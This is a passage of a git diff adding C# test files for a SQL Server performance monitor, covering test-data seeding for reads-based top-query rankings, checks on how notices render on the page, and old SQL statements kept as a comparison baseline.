+    /// <summary>How many snapshots <see cref="PlantSeedsAsync"/> plants per group.</summary>
+    internal const int SnapshotsPerGroup = 3;
+
+    /// <summary>Snapshot <paramref name="index"/> of a total split in halves, quarters and the remainder; the three parts add up to it.</summary>
+    internal static long Part(long total, int index) => index switch
+    {
+        0 => total / 2,
+        1 => total / 4,
+        _ => total - total / 2 - total / 4,
+    };
+
+    /// <summary>
+    /// QCUM: a delta of 10 against a lifetime total of fifty billion. QDELTA: three snapshots of 1,700 (a window sum of
+    /// 5,100) against a lifetime total of 1,000. QMAXDECOY: ONE snapshot of 4,000, so only a SUM puts QDELTA first (its MAX,
+    /// its AVG and its last value are all 1,700, under the decoy; #5226 F7). Six fillers sit between them on the cumulative
+    /// column (more than QDELTA's total, a window delta under 110), so a read that ranks on the lifetime total fills the
+    /// over-fetched page without QDELTA.
+    /// </summary>
+    private static async Task PlantCumulativeSeedAsync(NpgsqlConnection connection, CancellationToken ct, DateTime now)
+    {
+        var at = now.AddHours(-2);
+        await PlantQueryAsync(connection, ct, "query_stats", ServerId, ServerName, at, "QCUM", 10_000, 10_000, 10, 5, cumulativeReads: 50_000_000_000L);
+        await PlantProcedureAsync(connection, ct, "procedure_stats", ServerId, ServerName, at, "QCUM", 10_000, 10_000, 10, 5, cumulativeReads: 50_000_000_000L);
+        for (var i = 0; i < 3; i++)
+        {
+            await PlantQueryAsync(connection, ct, "query_stats", ServerId, ServerName, at.AddMinutes(i), "QDELTA", 10_000, 10_000, 1_700, 5, cumulativeReads: 1_000L);
+            await PlantProcedureAsync(connection, ct, "procedure_stats", ServerId, ServerName, at.AddMinutes(i), "QDELTA", 10_000, 10_000, 1_700, 5, cumulativeReads: 1_000L);
+        }
+
+        await PlantQueryAsync(connection, ct, "query_stats", ServerId, ServerName, at, "QMAXDECOY", 10_000, 10_000, 4_000, 5, cumulativeReads: 500L);
+        await PlantProcedureAsync(connection, ct, "procedure_stats", ServerId, ServerName, at, "QMAXDECOY", 10_000, 10_000, 4_000, 5, cumulativeReads: 500L);
+        for (var i = 1; i <= 6; i++)
+        {
+            await PlantQueryAsync(connection, ct, "query_stats", ServerId, ServerName, at, "QFILL" + i, 10_000, 10_000, 100 + i, 5, cumulativeReads: 1_000_000L + i);
+            await PlantProcedureAsync(connection, ct, "procedure_stats", ServerId, ServerName, at, "QFILL" + i, 10_000, 10_000, 100 + i, 5, cumulativeReads: 1_000_000L + i);
+        }
+    }
+
+    /// <summary>One <c>query_stats</c> row. <paramref name="table"/> is the store's spelling (shared: bare; scratch: <c>collect.</c>-qualified).</summary>
+    internal static Task PlantQueryAsync(
+        NpgsqlConnection connection, CancellationToken ct, string table, int serverId, string serverName, DateTime at,
+        string name, long cpuUs, long elapsedUs, long reads, long executions, long? cumulativeReads = null) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            $@"INSERT INTO {table}
+                   (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+                    delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, total_logical_reads,
+                    sample_interval_seconds)
+               VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.TruncateToSeconds(at), serverId, serverName, Db,
+            QueryHash(name), "0xSQLH" + name, executions, cpuUs, elapsedUs, reads, (object?)cumulativeReads ?? DBNull.Value, 3600);
+
+    /// <summary>One <c>procedure_stats</c> row, in schema <c>dbo</c>; <paramref name="table"/> as for <see cref="PlantQueryAsync"/>.</summary>
+    internal static Task PlantProcedureAsync(
+        NpgsqlConnection connection, CancellationToken ct, string table, int serverId, string serverName, DateTime at,
+        string name, long cpuUs, long elapsedUs, long reads, long executions, long? cumulativeReads = null) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            $@"INSERT INTO {table}
+                   (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+                    delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, total_logical_reads,
+                    sample_interval_seconds)
+               VALUES ($1, $2, $3, $4, $5, 'dbo', $6, $7, $8, $9, $10, $11, $12, $13)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.TruncateToSeconds(at), serverId, serverName, Db,
+            ProcName(name), "0xSQLH" + name, executions, cpuUs, elapsedUs, reads, (object?)cumulativeReads ?? DBNull.Value, 3600);
+
+    /// <summary>Fails with the order actually read, so a RED run shows what the swap did to it.</summary>
+    internal static void AssertOrder(IEnumerable<string> actual, string expectedOrder, string label)
+    {
+        var got = string.Join(",", actual);
+        Assert.True(got == expectedOrder, $"{label}: expected the order {expectedOrder} but read {got}");
+    }
+
+    /// <summary>A read through the web dispatch, the way the page's request reaches it.</summary>
+    internal static async Task<string> WebReadAsync(NpgsqlDataSource postgres, string read, string query)
+    {
+        var context = new DefaultHttpContext();
+        context.Request.QueryString = new QueryString(query);
+        return await DarlingWebEndpoints.BuildReadDispatch()[read](context, postgres, null!);
+    }
+
+    /// <summary>The HTTP status the web answers a read's returned string with.</summary>
+    internal static int HttpStatusOf(string read, string toolResult)
+    {
+        var services = new ServiceCollection();
+        services.AddOptions();
+        services.AddLogging();
+        using var provider = services.BuildServiceProvider();
+        var context = new DefaultHttpContext { RequestServices = provider };
+        context.Response.Body = new MemoryStream();
+        DarlingWebEndpoints.ToHttpResult(toolResult, "/api/read/" + read, new CapturingTestLogger(), 1)
+            .ExecuteAsync(context).GetAwaiter().GetResult();
+        return context.Response.StatusCode;
+    }
+
+    /// <summary>Runs a body against the shared store with this class's server registered, and leaves nothing behind.</summary>
+    private static async Task WithSharedStoreAsync(Func<NpgsqlConnection, NpgsqlDataSource, DateTime, CancellationToken, Task> body)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), "Set DARLING_TEST_PG to run the live top-ranking tests.");
+        var ct = TestContext.Current.CancellationToken;
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await CleanupAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var succeeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            await body(connection, postgres, DarlingMcpTestData.Naive(DateTime.UtcNow), ct);
+            succeeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, succeeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task CleanupAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            $"DELETE FROM query_stats WHERE server_id = {ServerId}; DELETE FROM procedure_stats WHERE server_id = {ServerId}; DELETE FROM servers WHERE server_id = {ServerId}");
+}
diff --git a/Darling/Darling.Tests/TopRankingNoticeBehaviourTests.cs b/Darling/Darling.Tests/TopRankingNoticeBehaviourTests.cs
new file mode 100644
index 0000000000..046603a78e
--- /dev/null
+++ b/Darling/Darling.Tests/TopRankingNoticeBehaviourTests.cs
@@ -0,0 +1,152 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5299 (F9): a Reads ranking whose window reaches past what raw keeps comes back with two sentences that say the same thing, the window
+/// floor's <c>truncation_note</c> (this server's raw rows start after the window does) and the reads ranking's <c>retention_notice</c>
+/// (the raw route's partial-window notice, with the store's measured reach). The page draws ONE notice, the retention notice, on each of the
+/// four Top Queries and Top Procedures cards (the CPU tab's two grids, the Queries tab's composite and its procedures grid), as text. The
+/// shipped page runs under Node (<c>top-ranking-notice-harness.mjs</c>); Node is skipped when it is not installed.
+/// </summary>
+public sealed class TopRankingNoticeBehaviourTests
+{
+    /// <summary>The window-floor sentence <c>get_top_queries_by_cpu</c> writes for a raw-tier answer (DarlingMcpDataTools, the queries tool's truncation_note).</summary>
+    private const string FloorNote =
+        "The window reaches further back than this server's raw query_stats retains (or this server has been monitored for less time than that), so the older part of it was not read.";
+
+    private static readonly string[] Cards = ["cpuQueries", "cpuProcedures", "queriesQueries", "queriesProcedures"];
+
+    /// <summary>The retention notice a store with rollups gives a seven-day window over raw, written by the server's own builder, not copied.</summary>
+    private static string RetentionNotice()
+    {
+        var now = new DateTime(2026, 7, 23, 12, 0, 0, DateTimeKind.Utc);
+        return ComposeStoreAvailability.BuildRetentionNotice(
+            "query_stats", ComposeRoute.Raw, now.AddDays(-7), now, RollupAvailability.All, RollupCoverage.Unknown)!;
+    }
+
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.Environment["HARNESS_INPUT"] = JsonSerializer.Serialize(new { floor = FloorNote, retention = RetentionNotice() });
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "top-ranking-notice-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the Top Queries and Top Procedures notice harness did not finish in 30 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the notice harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n').First(l => l.StartsWith('{')));
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string[] NoticesOf(JsonElement run, string card)
+    {
+        var drawn = run.GetProperty("cards").GetProperty(card);
+        Assert.True(drawn.GetProperty("found").GetBoolean(), card + " must be drawn");
+        return drawn.GetProperty("notices").EnumerateArray().Select(e => e.GetString()!).ToArray();
+    }
+
+    /// <summary>
+    /// The case the review found: the window starts before raw's reach, so the answer carries both sentences. Each card draws one, the
+    /// retention notice in the server's own words, and not the floor sentence beside it. The cards are on the Reads ranking, and the
+    /// page asked for it (<c>order_by=reads</c>) on both reads.
+    /// </summary>
+    [Fact]
+    public void AReadsPagePastRaw_DrawsOneNotice_OnEveryRankedCard()
+    {
+        var run = Run("both");
+        foreach (var card in Cards)
+        {
+            Assert.Equal([RetentionNotice()], NoticesOf(run, card));
+            Assert.EndsWith("by Reads", run.GetProperty("cards").GetProperty(card).GetProperty("title").GetString());
+        }
+
+        var asks = run.GetProperty("asks").EnumerateArray().Select(e => e.GetString()!).ToList();
+        Assert.True(asks.Count(a => a == "get_top_queries_by_cpu:reads") >= 2, "both Top Queries cards ask for the reads ranking: " + string.Join(", ", asks));
+        Assert.True(asks.Count(a => a == "get_top_procedures_by_cpu:reads") >= 2, "both Top Procedures cards ask for the reads ranking: " + string.Join(", ", asks));
+    }
+
+    /// <summary>An answer with only the window floor's note (a store with no rollups, or a server monitored for less time than the window) still draws that one note.</summary>
+    [Fact]
+    public void AFloorNoteAlone_IsDrawnOnce()
+    {
+        var run = Run("floorOnly");
+        foreach (var card in Cards)
+        {
+            Assert.Equal([FloorNote], NoticesOf(run, card));
+        }
+    }
+
+    /// <summary>An answer with only the retention notice is drawn once, so the reads ranking is never silently partial.</summary>
+    [Fact]
+    public void ARetentionNoticeAlone_IsDrawnOnce()
+    {
+        var run = Run("retentionOnly");
+        foreach (var card in Cards)
+        {
+            Assert.Equal([RetentionNotice()], NoticesOf(run, card));
+        }
+    }
+
+    /// <summary>An answer that carries neither draws no notice line.</summary>
+    [Fact]
+    public void AnAnswerWithNeither_DrawsNoNotice()
+    {
+        var run = Run("neither");
+        foreach (var card in Cards)
+        {
+            Assert.Empty(NoticesOf(run, card));
+        }
+    }
+
+    /// <summary>The notice is a server value, so it is drawn as text: markup in it stays literal characters inside one text node.</summary>
+    [Fact]
+    public void TheNotice_IsDrawnAsText_NeverMarkup()
+    {
+        var run = Run("markup");
+        foreach (var card in Cards)
+        {
+            var notices = NoticesOf(run, card);
+            Assert.Single(notices);
+            Assert.Contains("<b>bold</b>", notices[0], StringComparison.Ordinal);
+            Assert.True(run.GetProperty("cards").GetProperty(card).GetProperty("textOnly").GetBoolean(), card + ": the notice must hold a text node and no element");
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/TopRankingOnePassBaseline.cs b/Darling/Darling.Tests/TopRankingOnePassBaseline.cs
new file mode 100644
index 0000000000..bef691cf45
--- /dev/null
+++ b/Darling/Darling.Tests/TopRankingOnePassBaseline.cs
@@ -0,0 +1,405 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Darling.Service.Mcp;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// The ONE-PASS raw top-N statements as they stood before #5226's two-pass restructure (the reader at commit
+/// d0a486829), kept as the oracle <see cref="TopRankingDifferentialLiveTests"/> compares the shipped reader against.
+/// The statement bodies are copied verbatim, comments included, with exactly one edit: the interpolated
+/// <c>TimescaleSupport.IntervalHonestSourceFilter</c> is written out as its value, so a later change to that constant
+/// cannot move the oracle. They are NOT the shipped statements and must not be edited to track them.
+///
+/// <para><b>The one deliberate difference.</b> The old statements ranked with a bare <c>SUM(x) DESC</c>, which sorts NULL
+/// first in PostgreSQL and leaves ties in plan order. The two-pass work changed that on purpose: every deciding
+/// <c>ORDER BY</c> is now <c>DESC NULLS LAST</c> on the ranking metric and then on CPU, ending in the group key.
+/// <see cref="Expand"/> applies that same ordering to the old text (and expands the ranking the way the old
+/// ranking swap did), so the comparison isolates the restructure and nothing else: a different set of rows, a
+/// dropped group or a different totals row is a failure, and so is a different tie order.</para>
+/// </summary>
+internal static class TopRankingOnePassBaseline
+{
+    /// <summary>The metric the ranking sorts on: the raw-table sum and the page-level output column.</summary>
+    private static (string Sum, string Output) Metric(TopRanking ranking) => ranking switch
+    {
+        TopRanking.Duration => ("SUM(delta_elapsed_time)", "r.total_elapsed_us"),
+        TopRanking.Reads => ("SUM(delta_logical_reads)", "r.total_reads"),
+        TopRanking.Executions => ("SUM(delta_execution_count)", "r.total_executions"),
+        _ => ("SUM(delta_worker_time)", "r.total_cpu_us"),
+    };
+
+    /// <summary>
+    /// The old statement for a ranking, with the old inner ORDER BY and the old outer ORDER BY (the procedures statement
+    /// has no outer one) rewritten to the total order described on the class. <paramref name="innerKey"/> and
+    /// <paramref name="outerKey"/> are the group key columns that end each ORDER BY.
+    /// </summary>
+    public static string Expand(string oldSql, TopRanking ranking, string innerKey, string? outerKey)
+    {
+        var (sum, output) = Metric(ranking);
+        var sql = ReplaceOnce(oldSql, "ORDER BY SUM(delta_worker_time) DESC",
+            $"ORDER BY {sum} DESC NULLS LAST, SUM(delta_worker_time) DESC NULLS LAST, {innerKey}");
+        if (outerKey is not null)
+        {
+            sql = ReplaceOnce(sql, "ORDER BY r.total_cpu_us DESC",
+                $"ORDER BY {output} DESC NULLS LAST, r.total_cpu_us DESC NULLS LAST, {outerKey}");
+        }
+
+        return sql;
+    }
+
+    private static string ReplaceOnce(string sql, string find, string replacement)
+    {
+        var at = sql.IndexOf(find, StringComparison.Ordinal);
+        if (at < 0 || sql.IndexOf(find, at + find.Length, StringComparison.Ordinal) >= 0)
+        {
+            throw new InvalidOperationException($"Expected exactly one '{find}' in the one-pass baseline text.");
+        }
+
+        return string.Concat(sql.AsSpan(0, at), replacement, sql.AsSpan(at + find.Length));
+    }
+
+    /// <summary>The old <c>TopQueriesSql</c>, the per-hash grouping, for a ranking.</summary>
+    public static string Queries(TopRanking ranking) => Expand(OneQueriesSql, ranking,
+        "database_name, query_hash, host_object_name", "r.database_name, r.query_hash, r.host_object_name");
+
+    /// <summary>The old <c>TopQueriesByHostObjectSql</c>, the host-object roll-up, for a ranking.</summary>
+    public static string QueriesByHostObject(TopRanking ranking) => Expand(OneHostObjectSql, ranking,
+        "database_name, host_object_name, CASE WHEN host_object_name IS NULL THEN query_hash END",
+        "r.database_name, r.host_object_name, r.query_hash");
+
+    /// <summary>The old <c>TopProceduresSql</c> for a ranking.</summary>
+    public static string Procedures(TopRanking ranking) => Expand(OneProceduresSql, ranking,
+        "database_name, schema_name, object_name, object_type", null);
+
+    /// <summary>Old <c>TopQueriesSql</c> at d0a486829, the CPU-ranked text.</summary>
+    private const string OneQueriesSql = """
+        WITH ranked AS (
+            SELECT
+                database_name,
+                query_hash,
+                host_object_name,
+                CAST(SUM(delta_execution_count) AS bigint) AS total_executions,
+                CAST(SUM(delta_worker_time) AS bigint) AS total_cpu_us,
+                CAST(SUM(delta_elapsed_time) AS bigint) AS total_elapsed_us,
+                CAST(SUM(delta_logical_reads) AS bigint) AS total_reads,
+                CAST(SUM(delta_logical_writes) AS bigint) AS total_writes,
+                CAST(SUM(delta_physical_reads) AS bigint) AS total_physical_reads,
+                CAST(SUM(delta_rows) AS bigint) AS total_rows,
+                CAST(SUM(delta_spills) AS bigint) AS total_spills,
+                MIN(min_dop) AS min_dop,
+                MAX(max_dop) AS max_dop,
+                MIN(min_worker_time) AS min_worker_time,
+                MAX(max_worker_time) AS max_worker_time,
+                MIN(min_elapsed_time) AS min_elapsed_time,
+                MAX(max_elapsed_time) AS max_elapsed_time,
+                MAX(query_plan_hash) AS query_plan_hash,
+                MAX(sql_handle) AS sql_handle,
+                MAX(plan_handle) AS plan_handle,
+                MAX(last_execution_time) AS last_execution_time,
+                MAX(creation_time) AS creation_time,
+                MIN(min_physical_reads) AS min_physical_reads,
+                MAX(max_physical_reads) AS max_physical_reads,
+                MIN(min_rows) AS min_rows,
+                MAX(max_rows) AS max_rows,
+                MIN(min_grant_kb) AS min_grant_kb,
+                MAX(max_grant_kb) AS max_grant_kb,
+                MIN(min_used_grant_kb) AS min_used_grant_kb,
+                MAX(max_used_grant_kb) AS max_used_grant_kb,
+                MIN(min_ideal_grant_kb) AS min_ideal_grant_kb,
+                MAX(max_ideal_grant_kb) AS max_ideal_grant_kb,
+                MIN(min_spills) AS min_spills,
+                MAX(max_spills) AS max_spills,
+                MIN(min_reserved_threads) AS min_reserved_threads,
+                MAX(max_reserved_threads) AS max_reserved_threads,
+                MIN(min_used_threads) AS min_used_threads,
+                MAX(max_used_threads) AS max_used_threads,
+                MAX(total_clr_time) AS total_clr_time,
+                MAX(plan_generation_num) AS plan_generation_num,
+                MAX(CAST(delta_worker_time AS double precision) / NULLIF(sample_interval_seconds, 0) / 1000.0) AS worker_time_per_second,
+                /* #2012: how many DISTINCT statement texts this hash group merged. query_hash is a
+                   SHAPE hash — INSERT...EXEC statements naming DIFFERENT callee procs share one
+                   (reproduced live), and ad-hoc literal variants collapse too — so a group with
+                   distinct_texts > 1 is a BLEND whose representative text below is one member, not
+                   the statement. Counted over the #1767 content digest already on every row (~free);
+                   COUNT(DISTINCT) skips NULLs, so 0 means only pre-dimension legacy rows, which age
+                   out with raw retention. */
+                COUNT(DISTINCT query_text_digest) AS distinct_texts
+            FROM query_stats
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            AND   collection_time <= $3
+            AND   ($5::text IS NULL OR database_name = $5)
+            /* #4394: excludes zero-interval rows (sample_interval_seconds = 0) through
+               TimescaleSupport.IntervalHonestSourceFilter, the same filter the hourly successors
+               bake into their CREATE, so a raw-served and an hourly-served read of the same window
+               agree by construction. The collector writes a zero-interval row with zero deltas
+               (CollectorDeltaCalculator's first-sighting, reset and gap cases), so this changes no
+               total in practice. It keeps the two tiers from disagreeing if that ever stops holding. */
+            AND   sample_interval_seconds IS DISTINCT FROM 0
+            /* #2012 stage 2: host_object_name splits INSERT...EXEC callers that share a query_hash
+               (each proc-hosted statement groups under its own host object), while ad-hoc rows carry
+               NULL and keep collapsing into one group per hash exactly as before. */
+            GROUP BY database_name, query_hash, host_object_name
+            HAVING (SUM(delta_execution_count) > 0 OR SUM(delta_elapsed_time) > 0)
+            /* #3541 A13: the parallelism filter is part of the QUERY, applied to the grouped population
+               BEFORE the CPU ranking and the cap. It used to run in C# over the returned top-N page, so
+               parallel_only=true on a box whose twenty hottest plans were serial answered an empty page while
+               the window held parallel plans further down — and the engine's own CXPACKET advice sends agents
+               to exactly that call. $6 is the group's lifetime max_dop floor: 0 admits every group (the
+               unfiltered read, byte-identical in result to before), 2 is parallel_only, min_dop is itself. The
+               COALESCE keeps a group whose max_dop was never captured (NULL) out of a filtered page, which is
+               what the C# arm did too (null read as 0, and 0 > 1 is false). */
+            AND COALESCE(MAX(max_dop), 0) >= $6
+            ORDER BY SUM(delta_worker_time) DESC
+            LIMIT $4 + 5
+        )
+        SELECT
+            r.database_name,
+            r.query_hash,
+            r.host_object_name,
+            r.query_plan_hash,
+            r.sql_handle,
+            r.plan_handle,
+            r.total_executions,
+            r.total_cpu_us,
+            r.total_elapsed_us,
+            r.total_reads,
+            r.total_writes,
+            r.total_physical_reads,
+            r.total_rows,
+            r.total_spills,
+            r.min_dop,
+            r.max_dop,
+            r.min_worker_time,
+            r.max_worker_time,
+            r.min_elapsed_time,
+            r.max_elapsed_time,
+            t.query_text,
+            r.distinct_texts,
+            CAST(1 AS bigint) AS distinct_query_hashes,
+            r.last_execution_time,
+            r.creation_time,
+            r.min_physical_reads,
+            r.max_physical_reads,
+            r.min_rows,
+            r.max_rows,
+            r.min_grant_kb,
+            r.max_grant_kb,
+            r.min_used_grant_kb,
+            r.max_used_grant_kb,
+            r.min_ideal_grant_kb,
+            r.max_ideal_grant_kb,
+            r.min_spills,
+            r.max_spills,
+            r.min_reserved_threads,
+            r.max_reserved_threads,
+            r.min_used_threads,
+            r.max_used_threads,
+            r.total_clr_time,
+            r.plan_generation_num,
+            r.worker_time_per_second
+        FROM ranked AS r
+        LEFT JOIN LATERAL (
+            SELECT query_text
+            FROM v_query_stats
+            WHERE server_id = $1
+            AND   query_hash = r.query_hash
+            AND   database_name = r.database_name
+            /* #2012 stage 2: the representative text must come from THIS group's own rows — before
+               this, the lookup could serve one caller's text for another caller's stats, which is
+               the exact mis-attribution the issue documents from live triage. */
+            AND   host_object_name IS NOT DISTINCT FROM r.host_object_name
+            AND   query_text IS NOT NULL
+            ORDER BY collection_time DESC
+            LIMIT 1
+        ) AS t ON TRUE
+        WHERE t.query_text IS NULL OR t.query_text NOT LIKE 'WAITFOR%'
+        ORDER BY r.total_cpu_us DESC
+        LIMIT $4
+        """;
+
+    /// <summary>Old <c>TopQueriesByHostObjectSql</c> at d0a486829, the CPU-ranked text.</summary>
+    private const string OneHostObjectSql = """
+        WITH ranked AS (
+            SELECT
+                database_name,
+                MAX(query_hash) AS query_hash,
+                host_object_name,
+                CAST(SUM(delta_execution_count) AS bigint) AS total_executions,
+                CAST(SUM(delta_worker_time) AS bigint) AS total_cpu_us,
+                CAST(SUM(delta_elapsed_time) AS bigint) AS total_elapsed_us,
+                CAST(SUM(delta_logical_reads) AS bigint) AS total_reads,
+                CAST(SUM(delta_logical_writes) AS bigint) AS total_writes,
+                CAST(SUM(delta_physical_reads) AS bigint) AS total_physical_reads,
+                CAST(SUM(delta_rows) AS bigint) AS total_rows,
+                CAST(SUM(delta_spills) AS bigint) AS total_spills,
+                MIN(min_dop) AS min_dop,
+                MAX(max_dop) AS max_dop,
+                MIN(min_worker_time) AS min_worker_time,
+                MAX(max_worker_time) AS max_worker_time,
+                MIN(min_elapsed_time) AS min_elapsed_time,
+                MAX(max_elapsed_time) AS max_elapsed_time,
+                MAX(query_plan_hash) AS query_plan_hash,
+                MAX(sql_handle) AS sql_handle,
+                MAX(plan_handle) AS plan_handle,
+                MAX(last_execution_time) AS last_execution_time,
+                MAX(creation_time) AS creation_time,
+                MIN(min_physical_reads) AS min_physical_reads,
+                MAX(max_physical_reads) AS max_physical_reads,
+                MIN(min_rows) AS min_rows,
+                MAX(max_rows) AS max_rows,
+                MIN(min_grant_kb) AS min_grant_kb,
+                MAX(max_grant_kb) AS max_grant_kb,
+                MIN(min_used_grant_kb) AS min_used_grant_kb,
+                MAX(max_used_grant_kb) AS max_used_grant_kb,
+                MIN(min_ideal_grant_kb) AS min_ideal_grant_kb,
+                MAX(max_ideal_grant_kb) AS max_ideal_grant_kb,
+                MIN(min_spills) AS min_spills,
+                MAX(max_spills) AS max_spills,
+                MIN(min_reserved_threads) AS min_reserved_threads,
+                MAX(max_reserved_threads) AS max_reserved_threads,
+                MIN(min_used_threads) AS min_used_threads,
+                MAX(max_used_threads) AS max_used_threads,
+                MAX(total_clr_time) AS total_clr_time,
+                MAX(plan_generation_num) AS plan_generation_num,
+                MAX(CAST(delta_worker_time AS double precision) / NULLIF(sample_interval_seconds, 0) / 1000.0) AS worker_time_per_second,
+                COUNT(DISTINCT query_text_digest) AS distinct_texts,
+                /* #2235: the fragment count IS the finding — 21 here is why a per-hash ranking missed it. */
+                COUNT(DISTINCT query_hash) AS distinct_query_hashes
+            FROM query_stats
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            AND   collection_time <= $3
+            AND   ($5::text IS NULL OR database_name = $5)
+            /* #4394: same first-collection exclusion as TopQueriesSql — see its note. */
+            AND   sample_interval_seconds IS DISTINCT FROM 0
+            /* #2235: proc-hosted rows collapse to one row per (database, host object) — every literal
+               fragment of one statement lands together. Ad-hoc rows (host_object_name NULL) fall to the
+               CASE and stay keyed on their OWN query_hash, so they group exactly as the default read does;
+               without that arm every unrelated ad-hoc statement in a database would pool into one row. */
+            GROUP BY database_name, host_object_name,
+                     CASE WHEN host_object_name IS NULL THEN query_hash END
+            HAVING (SUM(delta_execution_count) > 0 OR SUM(delta_elapsed_time) > 0)
+            /* #3541 A13: same in-query parallelism floor as TopQueriesSql — see its note. Under the rollup
+               the group's max_dop is the max across every fragment, so a procedure whose dynamic SQL went
+               parallel in ANY fragment passes parallel_only, which is the question being asked. */
+            AND COALESCE(MAX(max_dop), 0) >= $6
+            ORDER BY SUM(delta_worker_time) DESC
+            LIMIT $4 + 5
+        )
+        SELECT
+            r.database_name,
+            r.query_hash,
+            r.host_object_name,
+            r.query_plan_hash,
+            r.sql_handle,
+            r.plan_handle,
+            r.total_executions,
+            r.total_cpu_us,
+            r.total_elapsed_us,
+            r.total_reads,
+            r.total_writes,
+            r.total_physical_reads,
+            r.total_rows,
+            r.total_spills,
+            r.min_dop,
+            r.max_dop,
+            r.min_worker_time,
+            r.max_worker_time,
+            r.min_elapsed_time,
+            r.max_elapsed_time,
+            t.query_text,
+            r.distinct_texts,
+            r.distinct_query_hashes,
+            r.last_execution_time,
+            r.creation_time,
+            r.min_physical_reads,
+            r.max_physical_reads,
+            r.min_rows,
+            r.max_rows,
+            r.min_grant_kb,
+            r.max_grant_kb,
+            r.min_used_grant_kb,
+            r.max_used_grant_kb,
+            r.min_ideal_grant_kb,
+            r.max_ideal_grant_kb,
+            r.min_spills,
+            r.max_spills,
+            r.min_reserved_threads,
+            r.max_reserved_threads,
+            r.min_used_threads,
+            r.max_used_threads,
+            r.total_clr_time,
+            r.plan_generation_num,
+            r.worker_time_per_second
+        FROM ranked AS r
+        LEFT JOIN LATERAL (
+            SELECT query_text
+            FROM v_query_stats
+            WHERE server_id = $1
+            AND   database_name = r.database_name
+            /* Mirrors the grouping: for a rolled-up proc any of its fragments' texts is a valid
+               representative, but an ad-hoc row must still match its own hash or the text could come from
+               an unrelated statement. */
+            AND   host_object_name IS NOT DISTINCT FROM r.host_object_name
+            AND   (r.host_object_name IS NOT NULL OR query_hash = r.query_hash)
+            AND   query_text IS NOT NULL
+            ORDER BY collection_time DESC
+            LIMIT 1
+        ) AS t ON TRUE
+        WHERE t.query_text IS NULL OR t.query_text NOT LIKE 'WAITFOR%'
+        ORDER BY r.total_cpu_us DESC
+        LIMIT $4
+        """;
+
+    /// <summary>Old <c>TopProceduresSql</c> at d0a486829, the CPU-ranked text.</summary>
+    private const string OneProceduresSql = """
+        SELECT
+            database_name,
+            schema_name,
+            object_name,
+            object_type,
+            MAX(sql_handle) AS sql_handle,
+            MAX(plan_handle) AS plan_handle,
+            CAST(SUM(delta_execution_count) AS bigint) AS total_executions,
+            CAST(SUM(delta_worker_time) AS bigint) AS total_cpu_us,
+            CAST(SUM(delta_elapsed_time) AS bigint) AS total_elapsed_us,
+            CAST(SUM(delta_logical_reads) AS bigint) AS total_reads,
+            CAST(SUM(delta_logical_writes) AS bigint) AS total_writes,
+            CAST(SUM(delta_physical_reads) AS bigint) AS total_physical_reads,
+            CAST(SUM(delta_spills) AS bigint) AS total_spills,
+            MIN(min_worker_time) AS min_worker_time,
+            MAX(max_worker_time) AS max_worker_time,
+            MIN(min_elapsed_time) AS min_elapsed_time,
+            MAX(max_elapsed_time) AS max_elapsed_time,
+            MAX(last_execution_time) AS last_execution_time,
+            MAX(cached_time) AS cached_time,
+            MIN(min_logical_reads) AS min_logical_reads,
+            MAX(max_logical_reads) AS max_logical_reads,
+            MIN(min_physical_reads) AS min_physical_reads,
+            MAX(max_physical_reads) AS max_physical_reads,
